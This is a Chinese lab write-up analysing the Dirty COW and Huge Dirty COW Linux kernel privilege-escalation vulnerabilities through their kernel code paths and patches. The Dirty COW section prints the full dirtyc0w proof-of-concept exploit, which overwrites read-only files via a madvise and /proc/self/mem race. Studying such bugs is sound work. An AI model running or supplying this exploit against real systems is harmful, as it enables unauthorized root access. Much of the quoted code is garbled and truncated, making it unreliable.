深度分析“大小脏牛”漏洞:CVE-2016-5195和CVE-2017-1000405
深度分析“大小脏牛”漏洞:CVE-2016-5195和CVE-2017-1000405
1. 概述
脏牛漏洞(CVE-2016–5195)是公开后影响范围最广和最深的漏洞之一,这十年来的每一个Linux版本,包括Android、桌面版和服务器版都受到其影响。恶意攻击者通过该漏洞可以轻易地绕过常用的漏洞防御方法,对几百万的用户进行攻击。尽管已针对该漏洞进行了补丁修复,但国外安全公司Bindecy对该补丁和内容做出深入研究后发现,脏牛漏洞的修复补丁仍存在缺陷,由此产生了“大脏牛”漏洞。
本次实验通过复现分析这两个Linux内核漏洞,完成分析、复现、调试三个过程,以进一步理解Linux内核的机制,掌握“脏牛”漏洞补丁的缺陷,提高对Linux内核漏洞的认识,并巩固Linux内核调试的技巧。
2. 实验环境
虚拟机:Ubuntu 14.04.1 + qemu
内核版本:3.13.0
调试工具:gef
3. “脏牛”漏洞(CVE-2016-5195)复现分析
3.1 概述
该漏洞是Linux的一个本地提权漏洞,发现者是Phil Oester,影响>=2.6.22的所有Linux内核版本,修复时间是2016年10月18号。该漏洞的原因是get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出条件竞争造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。当我们向带有MAP_PRIVATE标记的只读文件映射区域写数据时,会产生一个映射文件的复制(COW),对此区域的任何修改都不会写回原来的文件,如果上述的条件竞争发生,就能成功的写回原来的文件。通过修改特定的文件,就可以实现提权的目的。
3.2 前导知识
3.2.1 COW(Copy-on-Write)
在《深入理解计算机系统》这本书中,mmap定义为:Linux通过将一个虚拟内存区域与一个磁盘上的对象(object)关联起来,以初始化这个虚拟内存区域的内容,这个过程称为内存映射(memory mapping)。
本质上来讲,mmap就是在虚拟内存中为文件分配地址空间。在mmap之后,并没有将文件内容加载到物理页上,只上在虚拟内存中分配了地址空间。当进程在访问这段地址时(通过mmap在写入或读取时FileA),若虚拟内存对应的page没有在物理内存中缓存,则产生"缺页",由内核的缺页异常处理程序处理,将文件对应内容,以页为单位(4096)加载到物理内存。
从原理上来讲,我认为mmap可以分为两种类型,一种是有backend,一种是无backend。在本次的漏洞分析中,涉及到的是有backend模式的MAP_PRIVATE方式。
这是一个copy-on-write的映射方式。虽然他也是有backend的,但在写入数据时,他会在物理内存copy一份数据出来(以页为单位),而且这些数据是不会被回写到文件的。
3.3 漏洞原理分析
3.3.1 COW流程
当我们用mmap去映射文件到内存区域时使用了MAP_PRIVATE标记,我们写文件时会写到COW机制产生的内存区域中,原文件不受影响。其中获取用户进程内存页的过程如下:
第一次调用follow_page_mask查找虚拟地址对应的page,因为我们要求页表项要具有写权限,所以FOLL_WRITE为1。因为所在page不在内存中,follow_page_mask返回NULL,第一次失败,进入faultin_page,最终进入do_cow_fault分配不带_PAGE_RW标记的匿名内存页,返回值为0。
重新开始循环,第二次调用follow_page_mask,同样带有FOLL_WRITE标记。由于不满足((flags /* 进程调度 */
...
page = follow_page_mask(vma, start, foll_flags, /* 查找虚拟地址的page */
if(!page) {
ret = faultin_page(tsk, vma, start, /* 处理失败的查找*/
switch(ret) {
case0:
gotoretry;
}
}
if(page)
加入page数组
} while(nr_pages);
}
由于FOLL_WRITE为1,所以在faultin_page函数中首先设置了FAULT_FLAG_WRITE为1,然后沿着handle_mm_fault -> __handle_mm_fault -> handle_pte_fault -> do_fault -> do_cow_fault利用COW生成页表并建立映射。
staticintfaultin_page(structtask_struct *tsk, structvm_area_struct *vma,
unsigned longaddress, unsigned int*flags, int*nonblocking)
{
structmm_struct *mm = vma->vm_mm;
if(*flags /* 标记失败的原因,设置FAULT_FLAG_WRITE */
...
ret = handle_mm_fault(mm, vma, address, fault_flags); /* 第一次分配page并返回 0 */
...
return0;
}
staticinthandle_pte_fault(structmm_struct *mm,
structvm_area_struct *vma, unsigned longaddress,
pte_t *pte, pmd_t *pmd, unsigned intflags)
{
if(!pte_present(entry))
if(pte_none(entry))
returndo_fault(mm, vma, address, pte, pmd, flags, entry); /* page不在内存中,调页 */
}
staticintdo_fault(structmm_struct *mm, structvm_area_struct *vma,
unsigned longaddress, pte_t *page_table, pmd_t *pmd,
unsigned intflags, pte_t orig_pte)
{
if(!(vma->vm_flags
}
staticintdo_cow_fault(structmm_struct *mm, structvm_area_struct *vma,
unsigned longaddress, pmd_t *pmd,
pgoff_t pgoff, unsigned intflags, pte_t orig_pte)
{
new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address); /* 分配一个page */
ret = __do_fault(vma, address, pgoff, flags, new_page,
do_set_pte(vma, address, new_page, pte, true, true); /* 设置new_page的PTE */
}
staticint__do_fault(structvm_area_struct *vma, unsigned longaddress,
pgoff_t pgoff, unsigned intflags,
structpage *cow_page, structpage **page,
void**entry)
{
ret = vma->vm_ops->fault(vma,
}
voiddo_set_pte(structvm_area_struct *vma, unsigned longaddress,
structpage *page, pte_t *pte, boolwrite, boolanon)
{
pte_t entry;
flush_icache_page(vma, page);
entry = mk_pte(page, vma->vm_page_prot);
if(write)
entry = maybe_mkwrite(pte_mkdirty(entry), vma); /* 带_RW_DIRTY,不带_PAGE_RW */
if(anon) { /* anon = 1 */
page_add_new_anon_rmap(page, vma, address, false);
} else{
inc_mm_counter_fast(vma->vm_mm, mm_counter_file(page));
page_add_file_rmap(page);
}
set_pte_at(vma->vm_mm, address, pte, entry);
}
staticinlinepte_t maybe_mkwrite(pte_t pte, structvm_area_struct *vma)
{
if(likely(vma->vm_flags
returnpte;
}
至此第一次查询和pagefault处理结束,在内存中分配好了只读的匿名页。
3.3.1.2 第二次查找页
第一次失败处理完毕后,__get_user_pages函数通过goto retry进行第二次查找页。
第二次执行时,因为flags带有FOLL_WRITE标记,而Mappedmem是以PROT_READ和MAP_PRIVATE的的形式进行映射的,page是只读的,VM_WRITE为0。此时follow_page_mask返回NULL,进入faultin_page。
structpage *follow_page_mask(
structvm_area_struct *vma, /* [IN] 虚拟地址所在的vma */
unsigned longaddress, /* [IN] 待查找的虚拟地址 */
unsigned intflags, /* [IN] 标记 */
unsigned int*page_mask /* [OUT] 返回页大小 */
)
{
...
returnno_page_table(vma, flags);
...
}
staticstructpage *no_page_table(structvm_area_struct *vma,
unsigned intflags)
{
if((flags
returnNULL;
}
此时由于已经找到了页表,不再调用_do_fault,而是沿着函数调用路径faultin_page -> handle_mm_fault -> __handle_mm_fault -> handle_pte_fault,最终由于没有写访问权限调用了do_wp_page。
staticinthandle_pte_fault(...)
if(flags
do_wp_page会先判断是否真的需要复制当前页,因为上面分配的页是一个匿名页并且只有当前线程在使用,所以不用复制,直接使用即可。
staticintdo_wp_page(structmm_struct *mm, structvm_area_struct *vma,
unsigned longaddress, pte_t *page_table, pmd_t *pmd,
spinlock_t *ptl, pte_t orig_pte)
{
old_page = vm_normal_page(vma, address, orig_pte); /* 得到之前分配的只读页,该页是匿名的页 */
if(PageAnon(old_page)
if(reuse_swap_page(old_page,
}
unlock_page(old_page);
returnwp_page_reuse(mm, vma, address, page_table, ptl,
orig_pte, old_page, 0, 0);
}
unlock_page(old_page);
}
}
staticinlineintwp_page_reuse(structmm_struct *mm,
structvm_area_struct *vma, unsigned longaddress,
pte_t *page_table, spinlock_t *ptl, pte_t orig_pte,
structpage *page, intpage_mkwrite,
intdirty_shared)
{
entry = maybe_mkwrite(pte_mkdirty(entry), vma);
if(ptep_set_access_flags(vma, address, page_table, entry, 1))
update_mmu_cache(vma, address, page_table);
returnVM_FAULT_WRITE;
}
这里需要注意wp_page_reuse的返回值是VM_FAULT_WRITE,即handle_mm_fault返回VM_FAULT_WRITE。因此在faultin_page函数中会去掉查找标志FOLL_WRITE,然后返回0。
staticintfaultin_page(...)
ret = handle_mm_fault(mm, vma, address, fault_flags); /* 返回 VM_FAULT_WRITE */
/* 去掉FOLL_WRITE标记, */
if((ret
return0;
至此第二次查找页过程结束,导致失败的FOLL_WRITE被去掉了,进行下一次的查找页。
3.3.1.3 第三次查找页
由于前两次已经将所有出错的原因解决了,所以第三次顺利从页表中找到之前分配的page。同时由于进行了COW,所以写操作并不会涉及到原始内存。
3.3.2 漏洞点
上述即为正常情况下的COW过程。但是在这个过程中存在隐患,首先在__get_user_pages函数中每次查找page前会先调用cond_resched()线程调度一下,这样就引入了条件竞争的可能性。同时在第二次查找页结束时,FOLL_WRITE就已经被去掉了。如果此时我们取消内存的映射关系,第三次执行就又会像第一次执行时一样,执行do_fault函数进行页面映射。但是区别于第一次执行,这一次执行时FOLL_WRITE已被去掉,导致FAULT_FLAG_WRITE置0,所以直接执行do_read_fault。而do_read_fault函数调用了__do_fault,由于标志位的改变,所以不会通过COW进行映射,而是直接映射,得到的page带有__PAGE_DIRTY标志,产生了条件竞争。
if((flags
cow_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address);
if(!cow_page)
returnVM_FAULT_OOM;
if(mem_cgroup_newpage_charge(cow_page, mm, GFP_KERNEL)) {
page_cache_release(cow_page);
returnVM_FAULT_OOM;
}
} else
cow_page = NULL;if(flags
anon = 1;
copy_user_highpage(page, vmf.page, address, vma);
__SetPageUptodate(page);
} else...}
3.4 利用思路
综合上述的漏洞原理分析,我们在进行漏洞利用的时候,主要需要实现的就是在进行完第二次页面查找后取消页面的映射关系。于是得到漏洞利用流程如下:
第一次follow_page_mask(FOLL_WRITE),page不在内存中,进行pagefault处理;
第二次follow_page_mask(FOLL_WRITE),page没有写权限,并去掉FOLL_WRITE;
另一个线程释放上一步分配的COW页;
第三次follow_page_mask(无FOLL_WRITE),page不在内存中,进行pagefault处理;
第四次follow_page_mask(无FOLL_WRITE),成功返回page,但没有使用COW机制。
对于取消页面映射关系,我们可以通过执行madvise(MADV_DONTNEED)实现。madvise系统调用的作用是给系统对于内存使用的一些建议,MADV_DONTNEED参数告诉系统未来不访问该内存了,内核可以释放内存页了。内核函数madvise_dontneed中会移除指定范围内的用户空间page。
最后综合上述利用思路和方法,我们需要做的就是创建两个线程,一个通过write进行页面调度,另一个通过madvise进行取消页面映射。最终得到以下POC:
#include stdio.h>
#include sys/mman.h>
#include fcntl.h>
#include pthread.h>
#include unistd.h>
#include sys/stat.h>
#include string.h>
#include stdint.h>
void*map;
intf;
structstat st;
char*name;
void*madviseThread(void*arg)
{
char*str;
str=(char*)arg;
inti,c=0;
for(i=0;i100000000;i++)
{
/*
You have to race madvise(MADV_DONTNEED)
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}
void*procselfmemThread(void*arg)
{
char*str;
str=(char*)arg;
/*
You have to write to /proc/self/mem
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
*/
intf=open("/proc/self/mem",O_RDWR);
inti,c=0;
for(i=0;i100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek(f,(uintptr_t) map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}
intmain(intargc,char*argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
if(argc3) {
(void)fprintf(stderr, "%s\n",
"usage: dirtyc0w target_file new_content");
return1; }
pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
f=open(argv[1],O_RDONLY);
fstat(f,
name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %zx\n\n",(uintptr_t) map);
/*
You have to do it on two threads.
*/
pthread_create(
pthread_create(
/*
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return0;
}
3.5 复现与调试展示
图片 1:CVE-2016-5195复现展示
图片 2:CVE-2016-5195调试展示
3.6 补丁分析
首先展示补丁内容:
+staticinlineboolcan_follow_write_pte(pte_t pte, unsigned intflags)
+{
+ returnpte_write(pte) ||
+ ((flags
+}
+
staticstructpage *follow_page_pte(structvm_area_struct *vma,
unsigned longaddress, pmd_t *pmd, unsigned intflags)
{
@@ -95,7 +105,7 @@ retry:
}
if((flags
- if((flags
returnNULL;
}
@@ -412,7 +422,7 @@ staticintfaultin_page(structtask_struct *tsk, structvm_area_struct *vma,
* reCOWed by userspace write).
*/
if((ret
+ *flags |= FOLL_COW;
return0;
}
可以看到,这个补丁主要是添加了FOLL_COW标志位,来表示已经进行了COW,而不是像之前那样通过去掉FOLL_WRITE来表示。同时在get_follow_mask判定权限的时候同时利用dirty位来判定FOLL_COW是否有效。这样一来即使是条件竞争破坏了一次完整的获取页的过程,但是因为FOLL_WRITE标志还在,所以会重头开始分配一个COW页,从而保证该过程的完整性。
3.7 小结
相较于之前复现分析的两个Linux Kernel CVE而言,“脏牛”漏洞要更加复杂一点。同时由于涉及到了页面调度的操作,所以需要查阅大量的资料与源码来加深对页面调度整个过程的理解。由于目前调试分析的CVE还不多,所以尽量将每一个CVE都分析到细节,加深理解。
4. “大脏牛”漏洞(CVE-2017-1000405)复现分析
4.1 概述
脏牛漏洞(CVE-2016–5195)是公开后影响范围最广和最深的漏洞之一,这十年来的每一个Linux版本,包括Android、桌面版和服务器版都受到其影响。恶意攻击者通过该漏洞可以轻易地绕过常用的漏洞防御方法,对几百万的用户进行攻击。尽管已针对该漏洞进行了补丁修复,但国外安全公司Bindecy对该补丁和内容做出深入研究后发现,脏牛漏洞的修复补丁仍存在缺陷,由此产生了“大脏牛”漏洞。
“大脏牛”漏洞的产生主要是由于在对“脏牛”漏洞进行补丁的时候,Linux内核之父Linus希望将“脏牛”的修复方法引用到PMD的逻辑中,但是由于PMD的逻辑和PTE并不完全一致才最终导致了“大脏牛”漏洞。
4.2 前导知识
4.2.1 透明大内存页(THP)
内存是由块管理,即众所周知的页面。超大页面是 2MB 和 1GB 大小的内存块。Linux采用了大页面管理方式,2MB 使用的页表可管理多 GB 内存,而 1GB 页是 TB 内存的最佳选择。红帽企业版 Linux 6 开始就采用了超大页面管理。
超大页面必须在引导时分配。它们也很难手动管理,且经常需要更改代码以便可以有效使用。因为 THP 的目的是改进性能,所以其开发者(社区和红帽开发者)已在各种系统、配置、程序和负载中测试并优化了 THP。这样可让 THP 的默认设置改进大多数系统配置性能。
常规的虚拟地址翻译如图所示,PGD,PMD均作为页表目录,当启用大内存页时,PMD不再表示页表目录而是和PTE合并共同代表页表项(PTE)。
图片 3:常规虚拟地址翻译
THP内存页主要被用于匿名anonymous,shmem,tmpfs三种内存映射,即:
anonymous:通过mmap映射到内存是一个匿名文件及不对应任何实际磁盘文件。
shmem:共享内存。
tmpfs:是一种虚拟文件系统,存在于内存,因此访问速度会很快,当使用tmpfs类型挂载文件系统释放,它会自动创建。
在进行本次CVE复现前,首先需要确保内核允许大内存页,通过
cat sudo tee /sys/kernel/mm/transparent_hugepage/enabled
命令查看,alwasy则表示已开启,若未开启则通过
echo always | sudo tee /sys/kernel/mm/transparent_hugepage/enabled
命令开启。
4.2.2 零页(zero page)
当程序申请匿名内存页时,linux系统为了节省时间和空间并不会真的申请一块物理内存,而是将所有申请统一映射到一块预先申请好值为零的物理内存页,当程序发生写入操作时,才会真正申请内存页,这一块预先申请好值为零的页即为零页(zero page),且零页是只读的。
由于零页是只读的,如果共享零页的进程A非法写入了特定的值,其他共享零页的进程例如B读入被A篡改的零页的值,那么后续以此为基础的访存等操作就会发生异常,造成进程B crash,形成漏洞。
4.3 漏洞原理分析
4.3.1 “脏牛”漏洞补丁进一步分析
在“脏牛”漏洞补丁中,不但对faultin_page函数进行了修复,与减少权限请求数不同,get_user_pages现在记住了经过COW循环的过程同时加入了另一个新的follow_page_mask函数。
+staticinlineboolcan_follow_write_pte(pte_t pte, unsigned intflags)
+{
+ returnpte_write(pte) ||
+ ((flags
+}
可以看到,只需要有FOLL_FORCE和FOLL_COW标志声明过且PTE标记为污染,就可以获取只读页的写入操作。
4.3.2 THP触发漏洞描述
通过上面对“脏牛”漏洞补丁的分析,可以看到,THP内存页修补和普通内存页的修补操作基本一致。但是有一点疏忽的是,对于大内存页来说,不经历COW也可以将内存页标记为脏的。
在通过get_user_pages获取内存页时即会调用follow_page_mask,而当我们的目标是可读THP内存页时,follow_page_mask函数会调用follow_trans_huge_pmd函数,而在follow_trans_huge_pmd函数内部会通过调用touch_pmd函数,在不经历COW的条件下将内存页标记为脏,,使得can_follow_write_pmd的逻辑发生错误。
staticvoidtouch_pmd(structvm_area_struct *vma, unsigned longaddr,
pmd_t *pmd)
{
pmd_t _pmd;
/*
* We should set the dirty bit only for FOLL_WRITE but for now
* the dirty bit in the pmd is meaningless. And if the dirty
* bit will become meaningful and we'll only set it with
* FOLL_WRITE, an atomic set_bit will be required on the pmd to
* set the young bit, instead of the current set_pmd_at.
*/
_pmd = pmd_mkyoung(pmd_mkdirty(*pmd));
if(pmdp_set_access_flags(vma, addr
}
4.4 利用思路
综合前面对“脏牛”漏洞补丁的进一步分析以及THP的分析,我们下一步只需要获取FOLL_FORCE和FOLL_COW标志即可触发漏洞,这个过程可以采取类似dirtyCOW的利用方式。
综上我们整理漏洞利用流程:
调用follow_page_mask请求获取可写(FOLL_WRITE)THP内存页,发生缺页中断,返回值为NULL,调用faultin_page从磁盘中调入内存页,返回值为0;
随着goto entry再次调用follow_page_mask,请求可写(FOLL_WRITE)内存页,由于内存页没有可写权限,返回值为NULL,调用fault_page复制只读内存页获得FOLL_COW标志,返回值为0;
随着goto entry 再次调用follow由于cond_resched会主动放权,引起系统调度其他程序,另一个程序B使用madvise(MADV_DONTNEED)换出内存页,同时程序B读内存页,那么则会最终调用touch_pmd,将内存页标记为脏的;
程序再次被调度执行,调用follow_page_mask请求获取可写(FOLL_WRITE)内存页,此时满足FOLL_COW和脏的,因此程序获得可写内存页;
后续进行写入操作,只要设置合理THP内存页可以写前面提到的零页(zero pages),其他共享零页的进程读取修改后的零页数据进行相关操作就会发生crash,触发漏洞。
4.5 细节探究
事实上,我在同一个虚拟机中实现了这两个漏洞的复现。仔细思考,如果“大脏牛”漏洞的产生是由于“脏牛”漏洞的补丁导致的,那么在还未打补丁的可复现“脏牛”漏洞的内核版本上,“大脏牛”应该是无法复现的,然而我们在同一个内核中同时复现了两个漏洞。
其实,“大脏牛”漏洞的产生不是由于补丁中的FOLL_COW位导致的,前面描述的漏洞原理中起关键作用的touch_pmd函数也是从4.6版本才引入的。也就是说,“大脏牛”漏洞早在启用THP机制其就已经存在了,下面简单对老版本内核的漏洞触发关键位置进行分析。
4.5.1 follow_trans_huge_pmd
在补丁中,follow_trans_huge_pmd是一个关键函数,正是由于其调用的can_follow_write_pmd函数不严谨直接导致了此漏洞。对比补丁前后的代码可以发现,其实打了补丁后,对于漏洞利用的难度提高了。
+staticinlineboolcan_follow_write_pmd(pmd_t pmd, unsigned intflags)
+{
+ returnpmd_write(pmd) ||
+ ((flags
+}
+
structpage *follow_trans_huge_pmd(structvm_area_struct *vma,
unsigned longaddr,
pmd_t *pmd,
@@ -1138,7 +1154,7 @@ structpage *follow_trans_huge_pmd(structvm_area_struct *vma,
assert_spin_locked(pmd_lockptr(mm, pmd));
- if(flags
在原有的代码中,只需要满足pmd_write返回0即可触发漏洞,而补丁过后的can_follow_write_pmd函数使用了或逻辑,不但要求了pmd_write返回0,还需要满足(flags
staticvoidtouch_pmd(structvm_area_struct *vma, unsigned longaddr,
- pmd_t *pmd)
+ pmd_t *pmd, intflags)
{
pmd_t _pmd;
- /*
- * We should set the dirty bit only for FOLL_WRITE but for now
- * the dirty bit in the pmd is meaningless. And if the dirty
- * bit will become meaningful and we'll only set it with
- * FOLL_WRITE, an atomic set_bit will be required on the pmd to
- * set the young bit, instead of the current set_pmd_at.
- */
- _pmd = pmd_mkyoung(pmd_mkdirty(*pmd));
+ _pmd = pmd_mkyoung(*pmd);
+ if(flags
if(pmdp_set_access_flags(vma, addr
}
@@ -787,7 +782,7 @@ structpage *follow_devmap_pmd(structvm_area_struct *vma, unsigned longaddr,
returnNULL;
if(flags
+ touch_pmd(vma, addr, pmd, flags);
/*
* device mapped pages can only be returned ifthe
@@ -1158,7 +1153,7 @@ structpage *follow_trans_huge_pmd(structvm_area_struct *vma,
page = pmd_page(*pmd);
VM_BUG_ON_PAGE(!PageHead(page)
if(flags
+ touch_pmd(vma, addr, pmd, flags);
if((flags & FOLL_MLOCK) && (vma->vm_flags & VM_LOCKED)) {
/*
* We don't mlock() pte-mapped THPs. This way we can avoid
可以看到,本次补丁的核心内容在于调用touch_pmd函数时传入了flags参数,并在将THP标记为dirty之前先检查页面时候可写。这样一来,就无法在不进行COW的前提下对没有写权限的页面直接标记为dirty了。
4.8 小结
该漏洞的产生主要是由于补丁人员想要将添加FOLL_COW标志位避免“脏牛”漏洞的方法扩展到大页面上,这个思想本身并无不妥,只是大页面和正常页面的处理机制上有所不同,大页面可以不经过COW直接标记为dirty导致漏洞仍然存在。
这个漏洞本身比起来“脏牛”漏洞危害性要小很多,同时在有了“脏牛”漏洞的分析复现之后,理解“大脏牛”漏洞会轻松许多,只需要补充THP和零页的基础知识基本可以理解了。因此从分析“大脏牛”漏洞的整个过程来讲,收获比较大的其实是调试和前面的细节探究部分。因为目前为止做过的内核调试还不多,所以调试过程收获颇多。另一方面,通过细节探究,解决了我对于两个漏洞可以在一个版本内核上同时复现的不解。在解决困惑的过程中查询了大量的源码,使我对“大脏牛”漏洞的产生以及Linux内核的THP的机制有了更加深入的理解。
5. 参考链接
Linux内核源码在线查阅网站:https://lxr.missinglinkelectronics.com/linux+v4.6/mm/huge_memory.c
深入解读补丁分析发现的linux内核提权漏洞(CVE-2017–1000405):https://www.anquanke.com/post/id/89096#h2-7
“大脏牛”漏洞分析(CVE-2017-1000405):https://paper.seebug.org/483/
安天移动安全发布“大脏牛”漏洞分析报告(CVE-2017-1000405): https://blog.csdn.net/omnispace/article/details/78935896